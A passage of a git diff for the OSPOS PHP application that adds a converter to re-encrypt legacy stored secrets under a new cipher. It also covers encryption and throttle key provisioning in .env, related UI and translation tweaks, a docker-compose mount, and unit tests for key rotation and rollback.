edea68bc1..c8f2c04f8 100644 --- a/app/Language/zh-Hans/Error.php +++ b/app/Language/zh-Hans/Error.php @@ -1,6 +1,14 @@ "您沒有權限使用模組:", - "unknown" => "未知", + 'no_permission_module' => '您没有权限访问名为该模块', + 'unable_to_create_env_file' => '无法创建 {filePath} 以配置 throttle.key', + 'unable_to_lock_file' => '无法锁定 {filePath}:{reason}', + 'unable_to_open_lock_file' => '无法打开 {filePath}:{reason}', + 'unable_to_persist_throttle_key' => '无法将 throttle.key 保存到 {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => '无法读取 {filePath} 以配置 throttle.key', + 'unknown' => '未知', ]; diff --git a/app/Language/zh-Hant/Config.php b/app/Language/zh-Hant/Config.php index cffb4583f..7cfce02d3 100644 --- a/app/Language/zh-Hant/Config.php +++ b/app/Language/zh-Hant/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '保存的短信', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here. Otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API 密碼是必填字段', 'msg_src' => 'SMS-API 發件人 ID', 'msg_src_required' => 'SMS-API 發件人 ID 是必填字段', 'msg_uid' => 'SMS-API 用戶名', diff --git a/app/Language/zh-Hant/Error.php b/app/Language/zh-Hant/Error.php index 78e324b5b..e0a9cff26 100644 --- a/app/Language/zh-Hant/Error.php +++ b/app/Language/zh-Hant/Error.php @@ -1,6 +1,14 @@ "您沒有權限使用模組", - "unknown" => "發生未知的錯誤", + 'no_permission_module' => '您沒有權限使用模組', + 'unable_to_create_env_file' => '無法建立 {filePath} 以設定 throttle.key', + 'unable_to_lock_file' => '無法鎖定 {filePath}:{reason}', + 'unable_to_open_lock_file' => '無法開啟 {filePath}:{reason}', + 'unable_to_persist_throttle_key' => '無法將 throttle.key 儲存至 {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => '無法讀取 {filePath} 以設定 throttle.key', + 'unknown' => '發生未知的錯誤', ]; diff --git a/app/Libraries/CI3SecretConverter.php b/app/Libraries/CI3SecretConverter.php new file mode 100644 index 000000000..545cebe7f --- /dev/null +++ b/app/Libraries/CI3SecretConverter.php @@ -0,0 +1,173 @@ + CI4 encrypted-secret migration. + * + * CI3 encrypted its config secrets (SMTP password, Mailchimp API key, etc.) + * with AES-128-CBC + `encryptKeyInfo='encryption'` + `rawData=false` + + * `authKeyInfo='authentication'`. CI4 defaults to AES-256-CTR, and the CI4 + * "previous keys" fallback cannot bridge a *cipher* change -- it only rotates + * keys within a single cipher. So legacy rows must be decrypted with the old + * cipher and re-encrypted with the new one. + * + * This class centralises both ciphers so the interactive UI migration + * (ConvertToCI4) and the docker startup command (env:provision) share a single + * implementation. It performs no persistence of its own except saveAll(); key + * rotation is left to the caller (rotateEncryptionKey in security_helper). + */ +class CI3SecretConverter +{ + /** + * Legacy CI3 secret keys stored in the ospos_app_config table. + * + * @var list + */ + public const LEGACY_KEYS = [ + 'clcdesq_api_key', + 'clcdesq_api_url', + 'mailchimp_api_key', + 'mailchimp_list_id', + 'smtp_pass', + ]; + + /** + * @var Appconfig|null + */ + private ?Appconfig $model; + + public function __construct(?Appconfig $model = null) + { + $this->model = $model; + } + + /** + * Decrypts all legacy CI3 secrets into plaintext using the CI3 cipher and + * the supplied key. Empty/missing rows become ''. + * + * @param string $key the CI3-era encryption key + * @return array + */ + public function decryptAll(string $key): array + { + $encrypter = Services::encrypter($this->ci3Config($key)); + $appConfig = $this->resolveModel(); + + $result = []; + foreach (self::LEGACY_KEYS as $col) { + $value = (string) $appConfig->get_value($col); + $result[$col] = $value === '' ? '' : $encrypter->decrypt($value); + } + + return $result; + } + + /** + * Encrypts plaintext values under the current CI4 cipher (no persistence). + * + * @param array $plain + * @return array + */ + public function encryptAll(array $plain): array + { + $encrypter = Services::encrypter(); + + $result = []; + foreach ($plain as $col => $value) { + $value = (string) $value; + $result[$col] = $value === '' ? '' : $encrypter->encrypt($value); + } + + return $result; + } + + /** + * Decrypts CI4-cipher values back to plaintext. Used to verify a round + * trip before persisting the converted result. + * + * @param array $encrypted + * @return array + */ + public function verifyAll(array $encrypted): array + { + $encrypter = Services::encrypter(); + + $result = []; + foreach ($encrypted as $col => $value) { + $value = (string) $value; + $result[$col] = $value === '' ? '' : $encrypter->decrypt($value); + } + + return $result; + } + + /** + * Persists already-encrypted values to the ospos_app_config table. + * + * @param array $encrypted + * @return bool + * @throws RuntimeException + */ + public function saveAll(array $encrypted): bool + { + if (!$this->resolveModel()->batch_save($encrypted)) { + throw new RuntimeException('Failed to save converted encryption data. Check logs for details.'); + } + + return true; + } + + /** + * True when at least one legacy secret decrypts to a non-empty plaintext + * value with $oldKey. Used to decide whether a conversion is necessary. + */ + public function hasLegacyData(string $oldKey): bool + { + foreach ($this->decryptAll($oldKey) as $value) { + if ((string) $value !== '') { + return true; + } + } + + return false; + } + + /** + * Build a Config\Encryption instance matching the CI3 cipher settings so + * Services::encrypter() can construct a handler with AES-128-CBC. + * + * @return EncryptionConfig + */ + private function ci3Config(string $key): EncryptionConfig + { + $config = new EncryptionConfig(); + $config->driver = 'OpenSSL'; + $config->digest = 'SHA512'; + $config->key = $key; + $config->cipher = 'AES-128-CBC'; + $config->rawData = false; + $config->encryptKeyInfo = 'encryption'; + $config->authKeyInfo = 'authentication'; + $config->previousKeys = []; + + return $config; + } + + /** + * @return Appconfig + */ + private function resolveModel(): Appconfig + { + if ($this->model === null) { + $this->model = model(Appconfig::class); + } + + return $this->model; + } +} diff --git a/app/Views/configs/email_config.php b/app/Views/configs/email_config.php index f3563ca56..46d0f26b1 100644 --- a/app/Views/configs/email_config.php +++ b/app/Views/configs/email_config.php @@ -1,6 +1,7 @@ @@ -117,12 +118,12 @@ - 'smtp_pass', - 'id' => 'smtp_pass', - 'class' => 'form-control input-sm', - 'value' => $config['smtp_pass'] - ]) ?> + @@ -146,8 +147,9 @@ $('#mailpath').prop('disabled', false); $('#smtp_host, #smtp_user, #smtp_pass, #smtp_port, #smtp_timeout, #smtp_crypto').prop('disabled', true); } else if ($('#protocol').val() == 'smtp') { - $('#smtp_host, #smtp_user, #smtp_pass, #smtp_port, #smtp_timeout, #smtp_crypto').prop('disabled', false); + $('#smtp_host, #smtp_user, #smtp_port, #smtp_timeout, #smtp_crypto').prop('disabled', false); $('#mailpath').prop('disabled', true); + $('#smtp_pass').prop('disabled', false); } else { $('#mailpath, #smtp_host, #smtp_user, #smtp_pass, #smtp_port, #smtp_timeout, #smtp_crypto').prop('disabled', true); } diff --git a/app/Views/configs/integrations_config.php b/app/Views/configs/integrations_config.php index ea5881643..7e8f24909 100644 --- a/app/Views/configs/integrations_config.php +++ b/app/Views/configs/integrations_config.php @@ -20,12 +20,13 @@ - 'mailchimp_api_key', - 'id' => 'mailchimp_api_key', - 'class' => 'form-control input-sm', - 'value' => $mailchimp['api_key'] - ]) ?> + +
diff --git a/app/Views/configs/message_config.php b/app/Views/configs/message_config.php index 3ddae26b6..190628789 100644 --- a/app/Views/configs/message_config.php +++ b/app/Views/configs/message_config.php @@ -1,6 +1,7 @@ @@ -29,18 +30,18 @@
- 'control-label col-xs-2 required']) ?> + 'control-label col-xs-2']) ?>
- 'msg_pwd', - 'id' => 'msg_pwd', - 'class' => 'form-control input-sm required', - 'value' => $config['msg_pwd'] - ]) ?> +
@@ -95,13 +96,11 @@ rules: { msg_uid: "required", - msg_pwd: "required", msg_src: "required" }, messages: { msg_uid: "", - msg_pwd: "", msg_src: "" } })); diff --git a/docker-compose.yml b/docker-compose.yml index 5cebe0232..fd221cf67 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -11,7 +11,19 @@ services: - "80:80" networks: - app_net + command: ["sh", "-c", "php spark env:provision && exec apache2-foreground"] volumes: + # .env holds the two runtime-generated secrets (encryption.key + + # throttle.key), persisted as a single host file so the same keys + # survive container recreation (a named volume is a directory and + # forces .env to be a directory, breaking atomicWriteFile's rename). + # create_host_path is explicitly false so a missing host file fails + # startup instead of being auto-created as a directory (see INSTALL.md). + - type: bind + source: ./.env + target: /app/.env + bind: + create_host_path: false - uploads:/app/public/uploads - logs:/app/writable/logs environment: diff --git a/tests/helpers/security_helperTest.php b/tests/helpers/security_helperTest.php new file mode 100644 index 000000000..75782e179 --- /dev/null +++ b/tests/helpers/security_helperTest.php @@ -0,0 +1,607 @@ +key and throttle.key mutations are captured and + * restored here too — do not remove those safeguards. + */ +class security_helperTest extends CIUnitTestCase +{ + private string $sandbox; + private string $envPath; + private string $backupPath; + private string $lockPath; + private string $encryptionKeyBefore; + private ?string $throttleKeyBefore; + private bool $hadThrottleServer = false; + private ?string $throttleServerBefore = null; + + protected function setUp(): void + { + parent::setUp(); + require_once __DIR__ . '/../../app/Helpers/security_helper.php'; + + // Redirect all filesystem-touching helpers to a unique per-run sandbox. + $this->sandbox = sys_get_temp_dir() . '/ospos_sech_' . getmypid() . '_' . bin2hex(random_bytes(4)); + $this->envPath = $this->sandbox . '/.env'; + $this->backupPath = $this->sandbox . '/backup/.env.bak'; + $this->lockPath = $this->sandbox . '/.env.lock'; + + if (!is_dir($this->sandbox)) { + mkdir($this->sandbox, 0700, true); + } + if (!is_dir(dirname($this->backupPath))) { + mkdir(dirname($this->backupPath), 0700, true); + } + // Seed .env so initializeEnvFile() treats it as already present (no-op). + file_put_contents($this->envPath, "# OSPOS Configuration\n\n"); + + $se = config('SecurityEnv'); + $se->envPath = $this->envPath; + $se->backupPath = $this->backupPath; + $se->lockPath = $this->lockPath; + + // Read-back so the helper and the assertions observe the same instance. + $this->assertSame($this->envPath, config('SecurityEnv')->envPath); + + $this->encryptionKeyBefore = (string) config('Encryption')->key; + $this->throttleKeyBefore = (string) env('throttle.key', ''); + $this->hadThrottleServer = array_key_exists('throttle.key', $_SERVER); + $this->throttleServerBefore = $this->hadThrottleServer ? (string) $_SERVER['throttle.key'] : null; + } + + protected function tearDown(): void + { + // Restore the shared config defaults so no other test sees the sandbox. + $se = config('SecurityEnv'); + $se->envPath = ROOTPATH . '.env'; + $se->backupPath = WRITEPATH . '/backup/.env.bak'; + $se->lockPath = ROOTPATH . '.env.lock'; + + $this->removeTree($this->sandbox); + + config('Encryption')->key = $this->encryptionKeyBefore; + + $this->restoreThrottleKey(); + + parent::tearDown(); + } + + /** + * Recursively removes a sandbox directory and everything beneath it. + * No-op when $dir does not exist. + */ + private function removeTree(string $dir): void + { + if (!is_dir($dir)) { + return; + } + + $items = scandir($dir) ?: []; + foreach ($items as $item) { + if ($item === '.' || $item === '..') { + continue; + } + $path = $dir . '/' . $item; + $isTree = is_dir($path) && !is_link($path); + if ($isTree) { + $this->removeTree($path); + } else { + @unlink($path); + } + } + + @rmdir($dir); + } + + private function restoreThrottleKey(): void + { + putenv('throttle.key'); + unset($_ENV['throttle.key'], $_SERVER['throttle.key']); + + if ($this->throttleKeyBefore !== '') { + putenv("throttle.key={$this->throttleKeyBefore}"); + $_ENV['throttle.key'] = $this->throttleKeyBefore; + $_SERVER['throttle.key'] = $this->throttleKeyBefore; + } elseif ($this->hadThrottleServer) { + $_SERVER['throttle.key'] = $this->throttleServerBefore; + } + } + + /** + * Fakes the ospos_app_config rows so CI3SecretConverter can decrypt/verify + * without a real database, and captures the payload passed to saveAll(). + * + * @param array $values column => CI3 ciphertext + * @return Appconfig with a public $saved prop recording saveAll() + */ + private function fakeAppconfig(array $values): Appconfig + { + $fake = new class($values) extends Appconfig { + /** @var array|null last payload passed to saveAll() */ + public ?array $saved = null; + + public function __construct( + private array $vals + ) { + parent::__construct(); + } + + public function get_value(string $key, string $default = ''): string + { + return $this->vals[$key] ?? $default; + } + + public function batch_save(array $data): bool + { + $this->saved = $data; + + return true; + } + }; + + return $fake; + } + + /** + * Same as fakeAppconfig(), but batch_save() fails (returns false) so + * that CI3SecretConverter::saveAll() throws. Used to exercise the + * abortEncryptionConversion() rollback path when the DB write fails + * after the key has already been rotated. + * + * @param array $values column => CI3 ciphertext + * @return Appconfig + */ + private function failingFakeAppconfig(array $values): Appconfig + { + $fake = new class($values) extends Appconfig { + public function __construct( + private array $vals + ) { + parent::__construct(); + } + + public function get_value(string $key, string $default = ''): string + { + return $this->vals[$key] ?? $default; + } + + public function batch_save(array $data): bool + { + return false; + } + }; + + return $fake; + } + + /** + * Encodes $plaintext with the CI3-era cipher under $ci3Key, producing + * the same ciphertext the real converter decrypts. + */ + private function ci3Encrypt(string $plaintext, string $ci3Key): string + { + $cfg = new EncryptionConfig(); + $cfg->driver = 'OpenSSL'; + $cfg->digest = 'SHA512'; + $cfg->key = $ci3Key; + $cfg->cipher = 'AES-128-CBC'; + $cfg->rawData = false; + $cfg->encryptKeyInfo = 'encryption'; + $cfg->authKeyInfo = 'authentication'; + $cfg->previousKeys = []; + + return Services::encrypter($cfg)->encrypt($plaintext); + } + + // -- applyEnvKeyReplacement() — pure function, no I/O -- + + public function testApplyEnvKeyReplacementReplacesExistingKey(): void + { + $configFile = "foo='bar'\nencryption.key='old'\nbaz='qux'\n"; + + $result = applyEnvKeyReplacement($configFile, 'encryption.key', 'new'); + + $this->assertSame("foo='bar'\nencryption.key='new'\nbaz='qux'\n", $result); + } + + public function testApplyEnvKeyReplacementInsertsAfterEncryptionKey(): void + { + $configFile = "encryption.key='abc'\nfoo='bar'\n"; + + $result = applyEnvKeyReplacement($configFile, 'throttle.key', 'xyz'); + + $this->assertSame("encryption.key='abc'\nthrottle.key='xyz'\nfoo='bar'\n", $result); + } + + public function testApplyEnvKeyReplacementAppendsWhenNoEncryptionKey(): void + { + $configFile = "foo='bar'\n"; + + $result = applyEnvKeyReplacement($configFile, 'throttle.key', 'xyz'); + + $this->assertSame("foo='bar'\n\nthrottle.key='xyz'\n", $result); + } + + public function testApplyEnvKeyReplacementEscapesBackslashAndDollar(): void + { + $configFile = "encryption.key='old'\n"; + + $result = applyEnvKeyReplacement($configFile, 'encryption.key', 'a\\b$c'); + + $this->assertSame("encryption.key='a\\\\b\\\$c'\n", $result); + } + + public function testApplyEnvKeyReplacementInsertEscapesBackslashAndDollar(): void + { + $configFile = "encryption.key='abc'\nfoo='bar'\n"; + + $result = applyEnvKeyReplacement($configFile, 'throttle.key', 'a\\b$c'); + + $this->assertSame("encryption.key='abc'\nthrottle.key='a\\\\b\\\$c'\nfoo='bar'\n", $result); + } + + public function testApplyEnvKeyReplacementAppendEscapesBackslashAndDollar(): void + { + $configFile = "foo='bar'\n"; + + $result = applyEnvKeyReplacement($configFile, 'throttle.key', 'a\\b$c'); + + $this->assertSame("foo='bar'\n\nthrottle.key='a\\\\b\\\$c'\n", $result); + } + + // -- writeEnvKey() / atomicWriteFile() — real filesystem -- + + public function testWriteEnvKeyReplacesExistingKeyOnDisk(): void + { + file_put_contents($this->envPath, "encryption.key='old'\nfoo='bar'\n"); + + $result = writeEnvKey('encryption.key', 'newvalue'); + + $this->assertTrue($result); + $this->assertStringContainsString("encryption.key='newvalue'", file_get_contents($this->envPath)); + } + + public function testWriteEnvKeyInsertsNewKeyOnDisk(): void + { + file_put_contents($this->envPath, "encryption.key='abc'\n"); + + $result = writeEnvKey('throttle.key', 'newvalue'); + + $this->assertTrue($result); + $this->assertStringContainsString("throttle.key='newvalue'", file_get_contents($this->envPath)); + } + + public function testAtomicWriteFileWritesContentsAndLeavesNoTempFile(): void + { + $result = atomicWriteFile($this->envPath, 'hello world'); + + $this->assertTrue($result); + $this->assertSame('hello world', file_get_contents($this->envPath)); + $this->assertSame([], glob($this->envPath . '.tmp.*')); + } + + // -- envFileIsWritable() -- + + public function testEnvFileIsWritableReturnsTrueWhenFileIsWritable(): void + { + file_put_contents($this->envPath, "encryption.key='abc'\n"); + chmod($this->envPath, 0644); + + $this->assertTrue(envFileIsWritable()); + } + + public function testEnvFileIsWritableReturnsFalseWhenFileIsReadonly(): void + { + file_put_contents($this->envPath, "# tmp\n"); + chmod($this->envPath, 0444); + + $this->assertFalse(envFileIsWritable()); + + chmod($this->envPath, 0644); + } + + // -- checkEncryption() -- + + public function testCheckEncryptionPassesWhenKeyValid(): void + { + $validKey = bin2hex(random_bytes(32)); + config('Encryption')->key = $validKey; + file_put_contents($this->envPath, "encryption.key='$validKey'\n"); + + $result = checkEncryption(); + + $this->assertTrue($result); + $this->assertSame($validKey, config('Encryption')->key); + } + + public function testCheckEncryptionProvisionsWhenKeyEmptyAndEnvWritable(): void + { + config('Encryption')->key = ''; + file_put_contents($this->envPath, "encryption.key=''\n"); + + $result = checkEncryption(); + + $this->assertTrue($result); + $newKey = (string) config('Encryption')->key; + $this->assertGreaterThanOrEqual(64, strlen($newKey), 'checkEncryption should provision a valid key'); + $this->assertStringContainsString("encryption.key='$newKey'", file_get_contents($this->envPath)); + } + + public function testCheckEncryptionThrowsWhenKeyEmptyAndEnvNotWritable(): void + { + config('Encryption')->key = ''; + file_put_contents($this->envPath, "encryption.key=''\n"); + chmod($this->envPath, 0444); + + try { + $this->expectException(RuntimeException::class); + $this->expectExceptionMessage('provisioned'); + checkEncryption(); + } finally { + chmod($this->envPath, 0644); + } + } + + public function testCheckEncryptionConvertsCi3ShortKeyWhenEnvWritable(): void + { + // Seed CI3-era ciphertexts under a short CI3 key so the short-key + // branch runs. A fake Appconfig model (injected via CI3SecretConverter) + // stands in for the DB so no real database is required. + $oldKey = bin2hex(random_bytes(16)); // < 64 chars -> CI3 era + $plaintext = ['smtp_pass' => 's3cr3t-smtp', 'mailchimp_api_key' => 'mc-abc-123']; + $ciphertext = array_map(fn ($v) => $this->ci3Encrypt($v, $oldKey), $plaintext); + + $fake = $this->fakeAppconfig($ciphertext); + $conv = new CI3SecretConverter($fake); + + config('Encryption')->key = $oldKey; + file_put_contents($this->envPath, "encryption.key='$oldKey'\n"); + + $result = checkEncryption($conv); + + $this->assertTrue($result); + + // A fresh CI4 key was generated and is now the *active* encryption.key + // (the old short key remains only as a commented backup line). + $newKey = (string) config('Encryption')->key; + $this->assertNotSame($oldKey, $newKey); + $this->assertGreaterThanOrEqual(64, strlen($newKey)); + + $contents = file_get_contents($this->envPath); + preg_match("/^encryption\.key\s*=\s*'(.*?)'/m", $contents, $m); + $this->assertSame($newKey, $m[1] ?? '', 'the active .env encryption.key must be the new CI4 key'); + + // The saved payloads are CI4 ciphertext (not plain) and verify back. + $this->assertNotEmpty($fake->saved); + $this->assertSame($plaintext['smtp_pass'], $conv->verifyAll($fake->saved)['smtp_pass'], 'smtp_pass round-trip'); + $this->assertSame($plaintext['mailchimp_api_key'], $conv->verifyAll($fake->saved)['mailchimp_api_key'], 'mailchimp_api_key round-trip'); + $this->assertNotSame($plaintext['smtp_pass'], $fake->saved['smtp_pass'], 'saveAll() must receive ciphertext, not plain'); + $this->assertNotSame($plaintext['mailchimp_api_key'], $fake->saved['mailchimp_api_key'], 'saveAll() must receive ciphertext, not plain'); + } + + public function testCheckEncryptionRollsBackWhenSaveAllFails(): void + { + // Regression guard (thread #2): if the post-rotation saveAll() fails, + // the freshly rotated .env key must be restored from the backup so the + // original CI3 ciphertext stays decryptable. A failing fake Appconfig + // (injected via CI3SecretConverter) forces saveAll() to throw without + // a real database. + $oldKey = bin2hex(random_bytes(16)); // < 64 chars -> CI3 era + $plaintext = ['smtp_pass' => 'keep-me-safe']; + $ciphertext = array_map(fn ($v) => $this->ci3Encrypt($v, $oldKey), $plaintext); + + $failingFake = $this->failingFakeAppconfig($ciphertext); + $conv = new CI3SecretConverter($failingFake); + + config('Encryption')->key = $oldKey; + $originalContents = "encryption.key='$oldKey'\n"; + file_put_contents($this->envPath, $originalContents); + + $threw = false; + + try { + checkEncryption($conv); + } catch (RuntimeException $e) { + $threw = true; + } + + $this->assertTrue($threw, 'checkEncryption() must throw when saveAll() fails'); + $this->assertSame( + $originalContents, + (string) file_get_contents($this->envPath), + 'on saveAll() failure the freshly rotated .env key must be rolled back from the backup' + ); + } + + // -- checkThrottleEncryption() -- + + public function testCheckThrottleEncryptionReturnsWhenKeyPresent(): void + { + $key = bin2hex(random_bytes(32)); + putenv("throttle.key=$key"); + $_ENV['throttle.key'] = $key; + $_SERVER['throttle.key'] = $key; + + $result = checkThrottleEncryption(); + + $this->assertSame($key, $result); + } + + public function testCheckThrottleEncryptionProvisionsWhenKeyMissingAndEnvWritable(): void + { + putenv('throttle.key'); + unset($_ENV['throttle.key'], $_SERVER['throttle.key']); + file_put_contents($this->envPath, "encryption.key='abc'\n"); + + $result = checkThrottleEncryption(); + + $this->assertNotSame('', $result); + $this->assertStringContainsString("throttle.key='$result'", file_get_contents($this->envPath)); + $this->assertSame($result, $_ENV['throttle.key']); + } + + public function testCheckThrottleEncryptionThrowsWhenKeyMissingAndEnvNotWritable(): void + { + putenv('throttle.key'); + unset($_ENV['throttle.key'], $_SERVER['throttle.key']); + file_put_contents($this->envPath, "encryption.key='abc'\n"); + chmod($this->envPath, 0444); + + try { + $this->expectException(RuntimeException::class); + $this->expectExceptionMessage('provisioned'); + checkThrottleEncryption(); + } finally { + chmod($this->envPath, 0644); + } + } + + // -- rotateEncryptionKey() — provisioning path, does write -- + + public function testRotateEncryptionKeyPersistsNewKey(): void + { + file_put_contents($this->envPath, "encryption.key='tooshort'\n"); + config('Encryption')->key = 'tooshort'; + + $newKey = rotateEncryptionKey('tooshort'); + + $this->assertNotSame('tooshort', $newKey); + $this->assertGreaterThanOrEqual(64, strlen($newKey)); + $this->assertSame($newKey, config('Encryption')->key); + $this->assertStringContainsString("encryption.key='$newKey'", file_get_contents($this->envPath)); + } + + public function testRotateEncryptionKeyLeavesOldKeyAsCommentedBackup(): void + { + file_put_contents($this->envPath, "encryption.key='tooshort'\n"); + config('Encryption')->key = 'tooshort'; + + rotateEncryptionKey('tooshort'); + + $this->assertStringContainsString("# encryption.key='tooshort'", file_get_contents($this->envPath)); + } + + public function testRotateEncryptionKeyNoBackupWhenOldKeyEmpty(): void + { + file_put_contents($this->envPath, "# blank\n"); + config('Encryption')->key = ''; + + $newKey = rotateEncryptionKey(null); + + $this->assertGreaterThanOrEqual(64, strlen($newKey)); + $this->assertStringContainsString("encryption.key='$newKey'", file_get_contents($this->envPath)); + $this->assertStringNotContainsString("# encryption.key=''", file_get_contents($this->envPath)); + } + + public function testRotateEncryptionKeyThrowsWhenEnvPathIsDirectory(): void + { + @unlink($this->envPath); + mkdir($this->envPath); + + try { + $this->expectException(RuntimeException::class); + rotateEncryptionKey(null); + } finally { + @rmdir($this->envPath); + } + } + + // -- provisionThrottleKey() — idempotent, does write -- + + public function testProvisionThrottleKeyGeneratesAndPersistsWhenMissing(): void + { + putenv('throttle.key'); + unset($_ENV['throttle.key'], $_SERVER['throttle.key']); + file_put_contents($this->envPath, "encryption.key='abc'\n"); + + $key = provisionThrottleKey(); + + $this->assertNotSame('', $key); + $this->assertStringContainsString("throttle.key='$key'", file_get_contents($this->envPath)); + $this->assertSame($key, $_ENV['throttle.key'] ?? ''); + } + + public function testProvisionThrottleKeyIdempotentWhenPresent(): void + { + $existing = bin2hex(random_bytes(32)); + file_put_contents($this->envPath, "encryption.key='abc'\n"); + // Simulate .env already has the key; ensure the function prefers the file value. + file_put_contents($this->envPath, "encryption.key='abc'\nthrottle.key='$existing'\n"); + + $key = provisionThrottleKey(); + + $this->assertSame($existing, $key); + $contents = file_get_contents($this->envPath); + $this->assertStringContainsString("throttle.key='$existing'", $contents); + // Should still be a single line + $this->assertSame(substr_count($contents, "throttle.key="), 1); + } + + // -- abortEncryptionConversion() / removeBackup() -- + + public function testAbortEncryptionConversionRestoresFromBackup(): void + { + if (!is_dir(dirname($this->backupPath))) { + mkdir(dirname($this->backupPath), 0750, true); + } + + file_put_contents($this->envPath, "encryption.key='new'\n"); + file_put_contents($this->backupPath, "encryption.key='old'\n"); + + abortEncryptionConversion(); + + $this->assertSame("encryption.key='old'\n", file_get_contents($this->envPath)); + } + + public function testAbortEncryptionConversionThrowsWhenBackupUnreadable(): void + { + // Force a failed backup read: file_exists() is true (it is a directory) + // but file_get_contents() returns false. The restore must then throw + // instead of silently writing an empty .env and destroying the active key. + if (!is_dir(dirname($this->backupPath))) { + mkdir(dirname($this->backupPath), 0750, true); + } + @unlink($this->backupPath); + mkdir($this->backupPath); + + file_put_contents($this->envPath, "encryption.key='new'\n"); + $before = (string) file_get_contents($this->envPath); + + $threw = false; + + try { + abortEncryptionConversion(); + } catch (RuntimeException $e) { + $threw = true; + } finally { + @rmdir($this->backupPath); + } + + $this->assertTrue($threw, 'a failed backup read must throw instead of failing silently'); + $this->assertSame($before, (string) file_get_contents($this->envPath), '.env must be left untouched when the backup is unreadable'); + } + + public function testRemoveBackupDeletesBackupFile(): void + { + if (!is_dir(dirname($this->backupPath))) { + mkdir(dirname($this->backupPath), 0750, true); + } + + file_put_contents($this->backupPath, "encryption.key='old'\n"); + + removeBackup(); + + $this->assertFileDoesNotExist($this->backupPath); + } +} diff --git a/tests/libraries/CI3SecretConverterTest.php b/tests/libraries/CI3SecretConverterTest.php new file mode 100644 index 000000000..354e564a5 --- /dev/null +++ b/tests/libraries/CI3SecretConverterTest.php @@ -0,0 +1,203 @@ +key) || strlen((string) $env->key) < 64) { + $env->key = bin2hex(random_bytes(32)); + } + + // The CI3-era key this test uses to seed fake legacy ciphertext. + $this->oldKey = bin2hex(random_bytes(16)); + + $this->plain = [ + 'clcdesq_api_key' => 'capi-1234567890abcdef', + 'clcdesq_api_url' => 'https://ci3.example.org/api', + 'mailchimp_api_key' => 'mc-abc-123', + 'mailchimp_list_id' => 'list-5a6b7c', + 'smtp_pass' => 's3cr3t-smtp', + ]; + } + + /** + * Build the CI3 ciphertext the same way the converter decrypts it, so we + * have a known round-trip fixture without depending on a DB row. + */ + private function ci3Encrypt(string $plaintext): string + { + $cfg = new EncryptionConfig(); + $cfg->driver = 'OpenSSL'; + $cfg->digest = 'SHA512'; + $cfg->key = $this->oldKey; + $cfg->cipher = 'AES-128-CBC'; + $cfg->rawData = false; + $cfg->encryptKeyInfo = 'encryption'; + $cfg->authKeyInfo = 'authentication'; + $cfg->previousKeys = []; + + return Services::encrypter($cfg)->encrypt($plaintext); + } + + /** + * @return array + */ + private function ci3Ciphertexts(): array + { + return array_map( + fn ($v) => $v === '' ? '' : $this->ci3Encrypt($v), + $this->plain + ); + } + + private function fake(array $values, bool $saveSucceeds = true): Appconfig + { + return new class($values, $saveSucceeds) extends Appconfig { + public function __construct( + private array $vals, + private bool $ok + ) { + parent::__construct(); + } + + public function get_value(string $key, string $default = ''): string + { + return $this->vals[$key] ?? $default; + } + + public function batch_save(array $data): bool + { + return $this->ok; + } + }; + } + + public function testDecryptAllRoundTripWithCi3Cipher(): void + { + $conv = new CI3SecretConverter($this->fake($this->ci3Ciphertexts())); + $plain = $conv->decryptAll($this->oldKey); + + foreach ($this->plain as $k => $v) { + $this->assertSame($v, $plain[$k], "decryptAll mismatch for {$k}"); + } + } + + public function testDecryptAllEmptyRowsStayEmpty(): void + { + $ct = $this->ci3Ciphertexts(); + $ct['mailchimp_api_key'] = ''; + $ct['mailchimp_list_id'] = ''; + + $plain = (new CI3SecretConverter($this->fake($ct)))->decryptAll($this->oldKey); + + $this->assertSame('capi-1234567890abcdef', $plain['clcdesq_api_key']); + $this->assertSame('', $plain['mailchimp_api_key']); + $this->assertSame('', $plain['mailchimp_list_id']); + } + + public function testEncryptVerifyRoundTripWithCi4Cipher(): void + { + $conv = new CI3SecretConverter($this->fake([])); + + $enc = $conv->encryptAll($this->plain); + foreach ($this->plain as $k => $v) { + $this->assertNotSame($v, $enc[$k], "encryptAll must change {$k}"); + } + + $this->assertSame($this->plain, $conv->verifyAll($enc)); + } + + public function testEncryptAllKeepsEmptyValuesEmpty(): void + { + $conv = new CI3SecretConverter($this->fake([])); + $in = $this->plain; + $in['smtp_pass'] = ''; + + $enc = $conv->encryptAll($in); + $this->assertSame('', $enc['smtp_pass']); + $this->assertNotSame('', $enc['clcdesq_api_key']); + } + + public function testCI3BranchSavesCiphertextNotPlaintext(): void + { + // Regression guard for the env:provision CI3 branch (mirrored by the + // ConvertToCI4 migration): after decryptAll() with the legacy CI3 key, + // the command must persist encryptAll()'s CI4 *ciphertext* -- never the + // decrypted plaintext. A payload equal to $plain would mean secrets were + // written to ospos_app_config in the clear. + $conv = new CI3SecretConverter($this->fake($this->ci3Ciphertexts())); + $plain = $conv->decryptAll($this->oldKey); + $payload = $conv->encryptAll($plain); // <- exactly what run() passes to saveAll() + + // saveAll() must receive the ciphertext form, i.e. a value that differs + // from every plaintext secret yet round-trips to it under the CI4 cipher. + foreach ($this->plain as $col => $secret) { + $this->assertNotSame($secret, $payload[$col], "saveAll() payload for {$col} must be ciphertext, not the plain secret"); + } + $this->assertSame($plain, $conv->verifyAll($payload), 'persisted ciphertext must verify back to the original plaintext'); + } + + public function testHasLegacyDataTrueWhenAnyPresent(): void + { + $conv = new CI3SecretConverter($this->fake($this->ci3Ciphertexts())); + $this->assertTrue($conv->hasLegacyData($this->oldKey)); + } + + public function testHasLegacyDataFalseWhenAllEmpty(): void + { + $conv = new CI3SecretConverter($this->fake([])); + $this->assertFalse($conv->hasLegacyData($this->oldKey)); + } + + public function testSaveAllPersistsAndReturnsTrue(): void + { + $conv = new CI3SecretConverter($this->fake([], true)); + $this->assertTrue($conv->saveAll(['x' => 'y'])); + } + + public function testSaveAllThrowsWhenModelFails(): void + { + $conv = new CI3SecretConverter($this->fake([], false)); + $this->expectException(\RuntimeException::class); + $this->expectExceptionMessage('Failed to save converted encryption data'); + $conv->saveAll(['x' => 'y']); + } + + public function 